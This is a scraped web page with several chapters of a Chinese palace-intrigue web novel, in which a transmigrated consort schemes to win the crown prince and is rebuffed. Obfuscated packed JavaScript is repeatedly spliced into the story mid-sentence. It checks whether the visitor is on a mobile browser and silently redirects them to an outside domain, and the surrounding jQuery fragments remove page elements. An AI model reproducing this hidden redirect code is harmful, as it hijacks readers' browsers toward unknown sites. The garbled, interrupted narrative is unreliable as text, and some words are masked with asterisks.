他会吃叶挽棠的醋? 可笑。 第一百五十九章 娘家侄女,哪有孙子孙女重要? 翌日请安时,冯书仪终于出现了。 众人都有些惊讶,有些大意的甚至已经快记不清冯书仪的长相了——这位异常低调的冯侧妃,在进府后就只露过一面,除了她院中的人,再没人见过她。 崔锦倒不算意外,温声关心:“你的身子如何?可大好了?” “劳太子妃挂怀。”冯书仪轻轻笑了一下,“妾身已大好了,自进府后便一直耽搁着,如今也总该重拾规矩,给您请安了。” “自家人,本宫还能与你计较那等虚礼不成?” 崔锦端起茶抿了一口,笑容依旧。 冯书仪到底病没病,太医清楚,正院也清楚——她压根儿就没想过瞒着正院,既是示好,也是表态。 “你既大好了,稍后便随本宫去给母妃请个安吧,她也挂念你得紧。”崔锦道。 “自该如此。”冯书仪含笑应下。 众人略坐了会儿,便识趣地恭送崔锦带着两个侧妃进宫。 “冯侧妃的腰背瞧着挺直有力,可看不出半点重病模样呢。”秦娇心眼眸微闪,“当真是个聪明人。” 苏玉笑了笑:“听闻冯侧妃闺中时便喜读诗书,若重病时有诗书相伴,精神头便好些,病愈的也容易吧。” “是啊,读书多的人就是聪明。”秦娇心语气意味不明。 她心中的确不平。 她出身并不差冯书仪多少,可只因冯书仪有个贵妃姑母,进府就能做侧妃,反倒是她……因为得罪了太子妃,至今还只是个位份低微的奉仪。 陆知意之乱,府中多少遭殃的人——韩奉仪,田良娣等人,就连安奉仪都被迁怒了。 她们这群老人若非足够谨慎,也不敢得罪太子妃,只怕也要上了陆知意的船,下场不知。 可冯书仪却能装病完美避开这一劫。 还因为有淑贵妃撑腰,即便陆知意盛宠跋扈时也未对她如何,反倒是她们……或多或少都在陆知意手下吃过亏。 她心中怎能甘心? …… 钟粹宫,淑贵妃看到冯书仪,眉梢微挑:“你身子可算养好了?” “幸得太子妃吩咐下面人贴心照料,妾身这才病愈地快了些。”冯书仪不好意思地笑了笑,“倒叫娘娘也惦念着了。” 崔锦眉头微动。 这冯书仪……当真谨慎又规矩。 即便叫声姑母也没什么,可她却谨守本分,在淑贵妃面前也没仗着侄女的身份刻意亲近卖好。 淑贵妃眼中也闪过意外。 这个侄女她见的不多,却知其自恃饱读诗书,清高得很,对身份也很在意,未想竟甘愿做妾后不称呼她为更亲近的姑母以彰身份,而如此守规矩。 但倒是好事。 她的确想拉拔娘家,可手心手背的肉自不相同,若冯书仪不懂规矩,非要与崔锦母子为难,她便只能舍弃冯书仪了。 娘家侄女,哪有孙子孙女重要? 冯书仪如此懂事,倒叫她省了心。 拉着崔锦说了会儿话后,她便抬手赏了一堆东西。 冯书仪颇有荣辱不惊之态,始终含笑,不抢话不显眼,连叶挽棠都对她好感倍增。 出了钟粹宫后,她便拉着冯书仪道:“冯妹妹说话好听,我与你投缘得很,以后可要常来常往啊。” 冯书仪面露惊喜:“叶姐姐若喜欢我,我日后可要常来寻你说话了,这深宅里可无趣得紧呢。” “谁说不是呢。”叶挽棠顿时摆手,“若非有成安宝宝安慰我,我早就想跑唔——” 她被崔锦捂住了嘴。 左右看了看经过的宫女太监,她眨眨眼,表示自己明白了。 崔锦这才放手:“母妃叫我们去东宫瞧瞧,还是快些去吧,要赶着午膳前回府的。” 年后天气回暖,他们搬来东宫的事也提上了议程。 东宫早在去年就开始修缮了,工部的动作很快,里头已有模有样,淑贵妃心疼孙子孙女,自要叫崔锦先瞧瞧,若有不妥之处,也好快些改。 东宫不比占地广阔的太子府,但胜在规制极高,景致怡人,身处其中竟还有些庄严肃穆之感。 “真漂亮。”叶挽棠四处打量着,感叹道,“就是小了点,练功都不尽心。” 冯书仪笑看向她:“叶姐姐若不嫌弃,我们不如求求太子妃,合住一处大些的宫殿,你便能练得畅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧临听到冯侧妃派人来,先愣了一下。 冯书仪太过安分,以至于他都快忘了还有这么个人。 等看到这些衣裳样式,他倒是眼睛一亮:“这个虎头虎脑,给成安做成衣裳正好,还有这身,做个一蓝一红,给长安和平安必定漂亮。” 崔锦也很喜欢:“冯侧妃有巧思,先前的衣裳便是她画的图样,很是精致漂亮呢。” “你若喜欢,以后便叫她多给你画些。” 崔锦轻瞪他一眼:“那是殿下的侧妃,还是表妹,能是任我使唤的?” 迎着她的眼神,萧临不知为何,有些心虚了:“你是主母,使唤使唤她怎么了?若能借此得你青眼,她不知该有多高兴呢。” 崔锦顿时失笑,随口问起:“说来,冯侧妃已病愈,殿下是不是该去瞧瞧她了?” 总晾着也不像话,太打淑贵妃的脸。 “不用。”萧临不假思索地道,“她又不是真病,躲风头的意思你看不出来?想也是个安分的,我给她体面身份,便也无需再给她荣宠了。” 他的荣宠,一分不剩,都该给崔锦。 崔锦如此深爱他,眼里心里只有他,能为他付出一切。 可他心中却装了太多——皇位,权利,荣华,甚至自己的性命……即便不想承认,可若有朝一日需要抉择,他只会选择自己,而非崔锦。 如此一想,便越觉对不起她。 所以平常便更该弥补。 后院那群女人爱的都是他的身份权势,只有崔锦爱他这个人。 除了她,再不会有人这般待他。 所以以后,他的宠爱和感情都只给崔锦,不能被那群居心叵测的女人分去半点! 崔锦并不知他心里的弯弯绕绕,闻言便也不劝了。 他爱去不去。 可接下来一段时间,萧临的作态却叫她心中惊奇——他每日都只来正院,即便夜里再忙再晚也必回正院陪她。 从前她虽占独宠,可萧临偶尔还是会去别处,这回却像是离家的狗认准了似的,只一股脑往正院跑。 后院不少人颇有怨言,却谁也没敢发出来,只能学着冯书仪,尽量往正院献殷勤。 说起冯书仪,崔锦目前对她的观感倒是不错。 安静本分不作妖,有些小心思,但无伤大雅。 但她还是没叫她碰过是三个孩子,每日正院也会叫张嬷嬷检查三次,确保万无一失。 在四月末时,终于到了迁居之日。 三个孩子已有七个月大了,天气也暖和,偶尔带出门倒也无妨。 “太子妃,里面都已备好,擎等您贵主入住了!” 东宫门前,掌事太监笑吟吟开口,利落行礼:“奴才小棋子,恭请太子妃金安!给侧妃、良娣小主们请安!” “快起来吧。”崔锦含笑说道,“近日可辛苦你了。” “太子妃您折煞奴才了。”小棋子受宠若惊,“奴才为贵主办差,只盼能沾些福气就是天大的好运了,哪有辛不辛苦的道理!” 宫里的人就是会说话。 崔锦进门后,吩咐道:“今日大喜,所有人都赏三月月例,一起乐一乐吧。” “是!奴才多谢太子妃赏!” 所有人都高兴起来。 “咦。”叶挽棠环视一圈,忍不住惊讶道,“瞧着比上回来还要漂亮好多啊。” “叶侧妃好眼力。”小棋子笑回,“太子殿下特意吩咐过,太子妃喜海棠,叫奴才们将东宫都种满各色海棠,又着意照着太子妃的喜好修缮了不少,瞧着便更精致了。” 当然,这精致仅止主殿正殿和外景,其他人的宫殿是半点没动的。 “太子殿下对太子妃当真上心得很。”冯书仪笑道,“倒叫妾身一饱眼福,终于见识到了何谓伉俪情深。” 其余虽有不满之人,但也不敢刺崔锦,只能跟着奉承了几句。 崔锦绕着正殿转了一圈,发现地方似乎宽敞了许多,比起王府里的正院也不差多少了,怕是萧临将什么花园宫殿的一起扩进来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520927|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这动静就在永隆帝眼皮子底下,但他也没说什么。 三个孙子孙女呢,总不能住的逼仄了去。 “这绕梁的浮雕真是漂亮。”冯书仪细细瞧着,回头对崔锦笑道,“等回头妾身画些图纸,给小殿下们做成衣裳,定然好看。” 崔锦面露笑容,还未等说话,就听外面的行礼声响起:“太子殿下安。” 众人忙屈膝行礼:“给太子殿下请安。” 冯书仪不置可否,跟着行礼。 来了这么久,可算要见到这个脏男主了。 “都起吧。” 低沉磁性的声音响起,冯书仪站直抬头,忽地愣了一下。 眼前的男人剑眉星目,长相英挺,可五官却有精致之美,放在他脸上并不显得女气,反而多了几分莫辨的魅力。 站在她的角度,正能看到他棱角分明的侧脸,以及挺直的鼻梁。 这……好帅。 冯书仪看呆了。 现代信息**,美人层出不穷的出现在大家的视线中,她看过各色各样的男人,自觉早已对美色免疫,可萧临……该说不愧为一书男主么? 身材高大,被衣袍遮住的身体几乎充满爆发力,再衬着那张攻击性十足的俊美面庞,竟叫她都心脏漏跳一拍。 这种极品男人,可遇不可求。 女主吃得可真好啊。 冯书仪微含热意的眼神扫过萧临,自穿书这段时间以来,头一次对崔锦升起了嫉妒之心。 但也无妨。 祥瑞三胎若能是她的,那男人为什么不能抢来? 想到这里,冯书仪的心砰砰跳得厉害,还掺了些滚烫的激动与期待。 她已经病愈许久了,先前不过没有邀宠罢了……男主现在还未对女主十足忠诚,只要她微微撬动一二,有淑贵妃的面子在,他不会连一些恩宠都吝啬。 就算不能怀上孩子,可单与萧临春风一度…… 她忍不住抬眸,再次看了眼正与崔锦说话的萧临,耳根微微热了起来。 第一百六十一章 快将孩子抱上来,本宫瞧瞧 萧临正专注问着崔锦对东宫可否满意,并未察觉到冯书仪的异样。 但崔锦看到了。 她眸光微闪,在与萧临聊完后,特意招了冯书仪上前,对萧临笑道:“殿下还没见过冯侧妃吧?” 萧临随意扫了冯书仪一眼。 冯书仪脸颊顿时红了起来,盈盈一拜:“妾身给殿下请安。” 萧临微微点头。 因为冯书仪安分了许久,不争宠不算计,他对她印象还算不错,便道:“你既身子弱,日后便好生养着,也无需拘束。” 这是他对冯书仪说的第一句话,叫后者心跳陡然加快许多。 她正要回话,又听萧临补充:“也别太放松了,守着规矩,别给太子妃添麻烦。” 冯书仪笑容微僵,但很温顺地点头应下:“太子妃要照顾小殿下们,又要管家理事,已经很忙了,妾身虽无法帮到太子妃,但必能守住本分,不给太子妃添乱。” 她周身书卷气极浓,又满是娴雅之态,按说该有些清高模样,此刻却仿佛没脾气一般,十分柔顺。 萧临便更满意了几分。 崔锦静静旁观,唇边笑意清浅。 萧临刚下朝就回了东宫,还有不少政事要忙,略坐了会儿就准备更衣离开。 冯书仪迟疑了几瞬,还是轻咳了几声。 崔锦顿时看来:“怎么了?可是还未病愈?” “应当是方才在外太久,受了些风,不碍事的。”冯书仪笑了笑。 “既然不舒服,便快些回去歇着吧。”崔锦笑容不变。 “是。” 冯书仪恭敬告退。 走出正殿后,她脚步慢了许多,果然不一会儿就等到了萧临。 她面露惊讶,忙屈膝行礼:“殿下怎的不多坐会儿?您今日还没见几位小殿下吧,可别与他们生疏了去。”她笑着打趣。 萧临本无意与她多聊,但提到三个孩子,他眉眼自发柔和了下来:“今日事忙,本宫忙完就去看他们。” 当然不能跟自己孩子不熟。 “那便好。”冯书仪含笑提起,“前几日妾身随太子妃进宫,便听贵妃娘娘很想小殿下们呢,如今我们搬来宫里,贵妃娘娘愈发方便,可别将小殿下们都抱去钟粹宫,不给您瞧了。” “母妃不会不知分寸。”话是这么说,萧临却有些不放心了,顺口就对她道,“你提醒着太子妃,可别真应了母妃的要求。” 若孩子抱去了钟粹宫,他还怎么日日培养感情? 冯书仪点头应下,略聊了几句就适时告退,很懂分寸。 走过拐角后,她才捂着怦怦跳的胸口,脸颊红得烫人。 她生性谨慎,本不想这么快就行动的,方才她贸然离开后又遇萧临,很容易便会叫崔锦起了疑心。 那她这些日子的经营就全打水漂了。 可……她实在没忍住。 她看过全书,知道这个男主多有魅力和能力,今日乍一见他样貌竟也如此俊美,胜过她见过的所有男人,五官身材无一处不吸引人,连说话时都自带极其强烈的荷尔蒙性张力,便控制不住心跳和言行了。 要她忍住不亲近萧临,实在是难。 不能徐徐图之了。 她眼眸闪过一抹幽光。 祥瑞三子可以延后再抢,但萧临……她一定要尽快勾到手。 “传信给父亲吧。”冯书仪低声吩咐童芳,“叫他提前计划。” 同为现代人,她可不像**那么没用。 在进京之前,她就给了冯父几样好东西……先从**开始吧。 只要她娘家站得够高,自己立得够稳,萧临便不得不给她脸面,给她荣宠! …… 正殿。 在众人前后都离开后,如春为崔锦添了杯茶,轻声笑道:“奴婢瞧着冯侧妃蛮有趣的。” “可不是?”如秋勾起唇,“先前她屡屡亲近太子妃,对三位小殿下好的就像自己的孩子似的,倒真叫咱们对她多了几分包容和善意,未想一见太子殿下,她就忍不住了。”这忍功可不到家得很。 “方才太子殿下出门时正巧遇上冯侧妃,两人说了好一会儿话,太子殿下脸上可温柔的很……冯侧妃的确好手段。” 如秋叹了口气:“先前听她话里话外总嫌弃太子殿下姬妾众多,脏得很,我还真当咱们后院来了位不同的呢。” 冯书仪会做人,她们对她的印象都不错。 谁想这人竟还真经不住细敲。 只见了萧临一面,往日那股精明谨慎劲儿就全抛之脑后,有几个瞬间,那眼珠子都快黏萧临身上了。 耳颊浮起的羞红也浓烈到叫人难以忽视,也不知她究竟在脑子里想着什么。 “你们多盯着点吧。”崔锦随口吩咐。 “是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520928|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 歇息了一日,翌日一早,淑贵妃就派人来催了。 孙子孙女七个月大了,她可一面都没见过呢。 今日天气不错,崔锦叫人给三个孩子裹严实后,便带着她们往钟粹宫去了。 冯书仪与叶挽棠随行。 到了钟粹宫,还未等她们行礼,便听到一句:“免礼,快将孩子抱上来,本宫瞧瞧。” 三个奶娘依次上前。 淑贵妃率先抱过平安,一见他便惊着了:“这孩子果真像你得很。”她笑对崔锦道,“瞧这眉眼和小嘴,竟与你像了个十成十,小脸也白嫩得很,虽还有些瘦弱,但精神头倒是不错……你辛苦了。” 崔锦笑着:“做母亲的,为儿女做再多也不算辛苦。” 淑贵妃笑容更深,逗了平安好一会儿才放手给奶娘。 她脸色极其自然地掠过成安,先抱了长安:“哎呦小姑娘,可真白净。”她眼神惊异地摸着长安的脸,“竟当真与本宫像了七分。” 长安先前还只是眉眼像淑贵妃,可随着五官长开,她便越来越肖似淑贵妃,直到现在,整张脸已经可以说是缩小圆润版的淑贵妃了。 萧临是极疼爱这个小女儿的,可日日看着这张越长越像自己亲娘的脸,他的满脸慈爱都险些没撑下去。 以后等长安长大些,若犯了错,也不知他能不能对着这张脸严厉训斥。 淑贵妃一下就喜欢上了长安,抱着竟不撒手了。 只有成安的奶娘一脸微妙地站在原地。 好半晌后,才听到淑贵妃开口:“叫本宫看看成安吧。” 就像萧临面对长安一脸复杂一样,淑贵妃对成安有慈爱疼爱之心,可就是忍不住嫌弃。 好好一个大胖孙子,长什么脸不好长这张脸。 而成安也不知是不是察觉到什么,忽然干嚎了起来,哭声震天响,差点掀破屋顶。 淑贵妃哄不住,忙交给奶娘。 到了奶娘手里,成安陡然安静了下来。 淑贵妃脸上差点挂不住。 又是个讨债的。 她轻哼一声,继续抱着长安轻哄。 “皇上驾到——,太子殿下到——,九皇子到——”一道尖利的通报声响起。 不等众人行礼,永隆帝便已步入殿内,笑问:“朕就知道他们在这里,果然,还没进门就听到嚎哭声了,又是成安吧?” 第一百六十二章 献上** 闻言,淑贵妃顿时笑了。 “除了他还能是谁?他哥哥妹妹可乖得很呢。” 永隆帝朗声大笑,快步走来,顺势上前瞧了瞧她怀里的长安,却顿时愣在原地:“这……果然与你极为相似。” 他有些惊奇地看着长安。 淑贵妃容貌清丽,虽上了年纪却仍风韵犹存,保养的几乎与三十岁的女子不差多少,从眉眼间就能看出年轻时的美貌。 而长安有七分像她,其余三分没随亲爹亲娘,却自成一股精致灵气,衬着婴儿肥的脸蛋,实在玉雪可爱。 饶是永隆帝更想瞧瞧平安,也被她这股机灵讨喜劲儿给吸引了,逗了好一会儿才去看另外两个。 “给我看看给我看看。”九皇子凑上前,有些新奇地捏着平安的手,仰头冲淑贵妃笑,“弟弟妹妹们都没有小侄子小侄女可爱呢。” 他轻捏了捏成安肖似萧临的脸,自己也笑乐了。 末了,永隆帝不吝赞赏地开口:“太子妃有心了,将三个孩子都养得很好。” 萧临立刻便道:“他们刚出生那会儿彻夜啼哭不止,可都是月子里的太子妃强撑着精神哄的,从不假手于人,所以他们也对太子妃亲近不已。” 一边说着,他一边抱过成安。 接连每日的感情培养是有效果的,成安一到他怀里就咯咯笑个不停,哄得萧临眉眼间也浮起柔和的笑意。 淑贵妃旁观片刻,眼神不知为何,有些复杂。 她垂眸再次逗起长安。 永隆帝早就惦记着这三个祥瑞孙子孙女了,今日一下朝就带着萧临来了钟粹宫,而祥瑞三胎也没叫他失望,平安乖巧漂亮,成安精神强壮,长安机灵讨喜,逗得他眼尾的笑纹都多了几条。 连外头都能听到他不掩愉悦的朗笑声。 若非三个孩子困了,他都想留萧临夫妻在钟粹宫用午膳了。 见淑贵妃抱着长安不想给,萧临顿时警惕:“长安若睡不好便会哭闹不止,别吵着了母妃。” 他亲自上前抱孩子。 冯书仪含笑旁观,这才插话揶揄:“昨儿殿下还要妾身惦记着提醒太子妃,可别叫娘娘抱着孩子不放,若留在钟粹宫了,他可要望眼欲穿的盼孩子了。” 她话说的讨巧,并未引起永隆帝等人的恶感,又隐隐昭示了自己与萧临的亲近,便连萧临自己都没想那么多。 淑贵妃冷瞥了眼抱走长安的萧临,道:“本宫便是那等无赖不成?还能贪了你闺女?” “只是担心长安吵到母妃。” 永隆帝摇头失笑。 在他们离开时,他大手一挥又给了不少赏赐,萧临与崔锦一路走回东宫,身后丰厚的赏赐令无数人侧目。 回了正殿,萧临便主动请缨去偏房哄孩子了。 崔锦斜倚在软榻上,吩咐道:“将赏赐给宜春殿和兰香殿都送一些去。” 宜春殿在西南侧,住的是叶挽棠,兰香殿在东南侧,住的是冯书仪。 如春点头应下。 如秋为崔锦拿来木鱼,轻声道:“奴婢瞧着,贵妃娘娘似乎对冯侧妃受宠一事乐见其成。” 冯书仪那番亲密的话一出,冯贵妃脸色都更好看了不少。 “那到底是她娘家侄女,若得宠,她脸上有光,以后说不得还能拉拔娘家。”崔锦开口,“她挑了冯侧妃进府,又不是真希望自己侄女守活寡的。” 在淑贵妃这种经历过后宫倾轧的女人眼里,男人宠个谁那还真不算事。 只要正妻位子坐得稳,膝下子女安稳,谁得宠都无妨。 在冯书仪威胁到崔锦和三胎之前,她都不会插手东宫的事。 如秋想通了这一层,紧皱的眉头也松了开来:“那便好,不然贵妃若给冯侧妃撑腰,与您打擂台,那便真是一桩麻烦事了。” 淑贵妃占着孝道大义,而她们又刚搬来宫中,若淑贵妃有心为难,崔锦手段再多怕也要受些磋磨了。 接下来的几日,东宫还算平静。 唯独冯书仪往正殿来的频繁了些,她**或带些新奇小玩意儿逗孩子们玩,或带着自己做的小衣裳小鞋子,做工精巧而新颖。 崔锦冷眼瞧着,她似乎有些真心疼爱几个孩子的意味在。 “太子妃,您瞧这个如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520929|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”冯书仪笑吟吟拿出一个缠着铃铛的小拨浪鼓,手微微摇动,拨浪鼓便响了起来,清脆的铃铛声也紧跟着响起,一层又一层的悦耳声叠加,很是引人注目。 连素来安静的平安都忍不住够着视线看了过来,懵懂的大眼睛中满是新奇。 冯书仪立刻便笑了,歪头摇着拨浪鼓逗他。 这一幕正被进门的萧临看了个正着。 他心中顿时对冯书仪更满意了些,不作妖不算计的女子,尤其若还对崔锦和三胎抱有善意,他也愿意多给几分脸面。 坐定后,他与崔锦聊了几句后,便看向冯书仪:“今日早朝,舅舅的急报传来,竟是献上了**,父皇已定下明日午时试点,若威力当真如舅舅所言那般巨大,他当得我大周功臣。” 冯书仪眼眸微睁,细问了几句**的用途和威力后,忍不住惊呼:“这般厉害之物,若用在边境对敌上,该是何等威慑?” “正是如此。”萧临不吝赞赏,“舅舅当真巧思。” 他脸上都带了三分笑意。 冯父是他亲舅舅,外家得力,他脸上有光不说,助力也会更大,更何况还是**这等威力的东西。 他曾在边疆征战五年,深知战争之苦,**威力虽大,造成的伤亡惨重,但那只会是敌国的伤亡,于大周而言,当得盛世不二之利器。 “父亲倒是瞒的紧,便连妾身都不知他竟私底下钻研这些。”冯书仪语气惊讶又欢喜。 “你不懂这些,**又是机密,舅舅自然不会叫你知晓。” “殿下说的也是。”冯书仪笑吟吟的,像是只为萧临的高兴而高兴。 崔锦能在萧临面前议政,不代表她能。 萧临身上的大男子主义味儿挺重,也不喜欢自己的后院太过聪明,甚至干政。 所以她连**的归属都不能给自己所有。 但无妨,她手上还有好东西,等培养出感情,她会一一用这些为自己在萧临心中加重砝码。 冯家有,到底不如自己有。 见崔锦已与萧临聊起了**,她含笑坐在一旁,只和叶挽棠逗着三个孩子。 第一百六十三章 勾引 翌日,**试点成功,威力比之冯父奏折中描述的竟还要巨大。 此事震惊朝野。 当天,冯父的封赏就下来了。 兰香殿,童芳喜气洋洋的进门:“侧妃,好消息!” 冯书仪从书里抬头:“父亲封爵了?” “您真是神机妙算!”童芳忍住激动道,“老爷被封为了怀远伯,还官升一级,圣旨刚发出去!” 封爵在意料之中,但官升一级…… 冯书仪问:“父亲成了从二品?” “正是!”童芳喜上眉梢,“皇上升了老爷为云岭副将,军权更重啊!” 闻言,冯书仪终于淡淡笑了。 二品与三品看似近,却宛如天堑,正如后宫的嫔位与妃位一样,跨过去了,才是正经主子,才会被人看在眼里。 正三品在地方上算一方大员,却到底缺了些重量。 从二品,哪怕只是副将,也已不同往日了。 想罢,她立刻吩咐:“今日太子殿下一定会来,都好生准备着。”顿了顿,她轻声道,“还有我之前做出来的那身里衣,准备好,我沐浴后要穿。” 那是她仿照现代的内衣改制的,十分大胆火辣。 崔锦再会捆绑,到底心中仍存世家女的清高,不会放下身段,这便是她的可乘之机了。 萧临今夜会来,即便未必会与她圆房,该做的准备也要做好。 万一呢? 童芳微红了红脸,立刻应声下去,亲自盯着下面人,将兰香殿里里外外都打扫了一遍。 果然,萧临晚间便来了。 冯书仪沐浴过后,身着轻盈的纱衣,正坐在桌旁看书,看到他忙上前行礼:“妾身见过太子殿下。” “免礼。”萧临随口叫起,坐在了另一边。 “殿下怎么来了?”冯书仪有些激动,耳根又泛起红意,一时竟有些手足无措之感,“童芳,快上茶,殿下喜欢君山银针。” 萧临摆手叫她坐:“你入东宫这么长时间,本宫忙于政务,也未来瞧过你,今日有空便来了。” 他与冯书仪略聊了聊。 见她脸颊微红,有些拘谨,便含笑道:“你我兄妹之间,不必如此拘束。” 冯书仪脸色微僵。 她才想起这具身体与萧临是表兄妹的关系。 但一瞬后,她就坦然了。 表兄妹又如何?古代表兄妹成婚合理合法,而萧临生不了孩子,也避免了后代问题。 她的灵魂可与这具身体并非一脉,更算不得表兄妹。 想罢,她轻轻笑了笑:“出嫁从夫,妾身既嫁给殿下,便该忘了表兄妹那般犯上逾越的称呼,只将殿下当做夫君侍奉。” 她说的轻柔,眼神羞涩地看向萧临,满眼俱是情意,还带着一丝春意。 萧临微愣。 片刻后,他斟酌着言辞开口:“你是侧妃,按规矩,只有太子妃才可称本宫为夫君,不过本宫自幼便将你当亲妹妹看待,叫声表哥算不得什么犯上逾越,你也不必担忧。” 措辞温和但毫无商量余地。 他已经决定要把所有荣宠一分不剩的都给崔锦了,哪怕冯书仪父亲刚立功,他觉得给些赏赐,来坐一坐,已经足够给她撑起体面,犯不着搭上自己。 若崔锦知道他留在兰香殿过夜,还不知该有多伤心。 想罢,他心中不自觉牵挂起来,准备起身离开:“你早些歇息吧,本宫改日再来看你。” 冯书仪本就被他那番话打击的站在原地愣神,见他要走,忙拉住他:“今夜天色已晚,殿下不如留下歇息吧。” 这是她第一次与萧临这般近距离接触,看着他俊美无俦的脸和爆发力十足的身体,她脸颊瞬间遍布红晕。 脑中犹豫一瞬后,她咬了咬牙。 萧临能说出那番话,想必以后就算来,也不会给她机会了,今夜便一定要给他留下深刻的印象。 哪有真对女人身体毫无反应的男人? 在萧临拨开她手时,她踉跄一下,顺势一倒。 轻薄的纱衣瞬间滑下肩头,露出半边白皙的肌肤,火辣大胆的里衣被扯了出来,甚至有些遮不住春色。 烛火摇曳,美人含泪。 再衬着欲掉不掉的里衣,暧昧陡升。 “殿下……”冯书仪神色慌张,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525177|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要遮住身体,却不知怎得,越忙越露了起来。 “你早些歇息。”萧临皱眉偏过头,毫不犹豫地大步离开。 他这种天潢贵胄,什么勾引手段没见过?冯书仪是大胆,但演技实在拙劣了些。 最后那句叮嘱,只是给冯父的脸面。 想罢,他脚步更快,几乎眨眼间就走出了兰香殿。 徒留不可置信的冯书仪愣在原地。 他竟真的毫无反应? 这时候的男主不是还没对女主身心如一么? 就算书里描述他自捆绑后再未碰过旁的女人,可……可他还尚未认清自己的心,若有美色引诱,他不该会拒绝啊。 冯书仪脸色茫然而恍惚,还带着一丝羞愤与不甘。 童芳小心翼翼地走了进来,为她披好衣裳,不忍道:“侧妃,您……我们后头该怎么办?” 今夜只怕要惹恼萧临了。 冯书仪本不该这么急的,可她本就贪色,尤其萧临配置太高,除了不会生孩子几乎没有短板,看着这种极品男人,她怎能忍得住不亲近? 好在此刻,她的智商终于回笼了。 “什么都不用做。”她掐了掐手指,“按兵不动。” 萧临现在定然已经防备她了,最近……不能太接近崔锦,但可以适当去刷淑贵妃的好感,借她接近祥瑞三胎。 还有…… “苏良娣在哪个殿住来着?”她忽然问。 童芳想了想,回道:“在竹心殿,与秦奉仪同住。” 冯书仪拢了拢衣裳,坐去桌前,用左手写了一封信,仔细封起来交给童芳:“扔去竹心殿,送到苏玉的手上。” 沉吟一瞬,她拿出茉莉香膏,厚厚涂抹在了信封上,叮嘱道:“换恭桶的宫人一般不会引人注意,你放去那宫人身上。” 苏玉生性谨慎,对崔锦尤其关注。 崔锦惯用的香出现在一个换恭桶的宫人身上,她绝不会忽视。 只要信到了她手上,她就只能乖乖听话! 这可是原书中蛰伏最深,甚至一度登上贵妃之位的厉害角色,再加上她这个先知在,还怕对付不了一个崔锦? 第一百六十四章 养颜粉 萧临去正殿时,崔锦刚哄睡成安。 见他来,她有些惊讶:“殿下怎来了?” 萧临脚步微顿:“我不该来?” “怎会。”崔锦笑了一下,“只是听到殿下去兰香殿的消息,我以为该在那边睡下了。” 她这话没有半分醋意,也很平常,萧临却生生听出了强颜欢笑的味道。 他走上前将崔锦抱在怀里,温声哄道:“舅舅立了功,我不能冷落了冯侧妃,于情于理都该去坐坐,可没想过夜,你倒是给我安排妥当了。” 崔锦眉梢微挑:“从前不就是这般么?” 萧临猛然一滞,有些气短起来。 “从前是从前。”他似有些难以开口,只含蓄道,“今后便不同了。” 见崔锦面露疑惑,没有理解,他耳根蓦然红了一层,却不知该如何解释。 平日情话说得还算顺口,可当真正要许这种承诺时,他却有些开不了口了,像是情窦初开的毛头小子,不好意思一样。 “我先去沐浴。”他起身去了耳房。 崔锦轻应一声,目送他离开后,眼眸骤然幽深下来。 独宠? 萧临这种男人,真能做到这一步? 她细细思索着,可人心难测,谁又敢说一定能看透对面的心呢?再会算计人心,也总有疏漏,也总不能勘破心防。 萧临既要如此,她自然乐意,白来的荣宠,能叫她站得更稳,她求之不得。 即便萧临日后反悔破戒,也无妨。 他的愧疚更有用。 想通了这一层,崔锦笑容清浅,轻轻抚过长安嫩滑的小脸,眼神温柔。 再等两年。 两年之后,她三个孩儿的前程将无比坦荡。 萧临发现今夜的崔锦异常温柔主动,主动到叫他有些受宠若惊,直到情到浓时,他看到她笑意氤氲的眼眸,猛地回过味儿来。 “你听懂了是吗?” 